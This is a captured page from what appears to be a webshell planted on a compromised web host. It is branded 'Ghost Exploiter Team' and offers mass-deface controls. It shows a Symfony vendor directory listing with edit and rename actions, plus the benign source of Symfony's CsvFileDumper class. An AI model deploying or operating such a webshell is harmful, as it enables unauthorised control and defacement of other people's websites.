webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
symfony
/
translation
/
Dumper
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
CsvFileDumper.php
1.356KB
edt
ren
DumperInterface.php
0.745KB
edt
ren
FileDumper.php
3.466KB
edt
ren
IcuResFileDumper.php
2.834KB
edt
ren
IniFileDumper.php
0.928KB
edt
ren
JsonFileDumper.php
0.817KB
edt
ren
MoFileDumper.php
2.227KB
edt
ren
PhpFileDumper.php
0.773KB
edt
ren
PoFileDumper.php
3.894KB
edt
ren
QtFileDumper.php
1.84KB
edt
ren
XliffFileDumper.php
8.887KB
edt
ren
YamlFileDumper.php
1.501KB
edt
ren
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Dumper; use Symfony\Component\Translation\MessageCatalogue; /** * CsvFileDumper generates a csv formatted string representation of a message catalogue. * * @author Stealth35 */ class CsvFileDumper extends FileDumper { private string $delimiter = ';'; private string $enclosure = '"'; public function formatCatalogue(MessageCatalogue $messages, string $domain, array $options = []): string { $handle = fopen('php://memory', 'r+'); foreach ($messages->all($domain) as $source => $target) { fputcsv($handle, [$source, $target], $this->delimiter, $this->enclosure); } rewind($handle); $output = stream_get_contents($handle); fclose($handle); return $output; } /** * Sets the delimiter and escape character for CSV. * * @return void */ public function setCsvControl(string $delimiter = ';', string $enclosure = '"') { $this->delimiter = $delimiter; $this->enclosure = $enclosure; } protected function getExtension(): string { return 'csv'; } }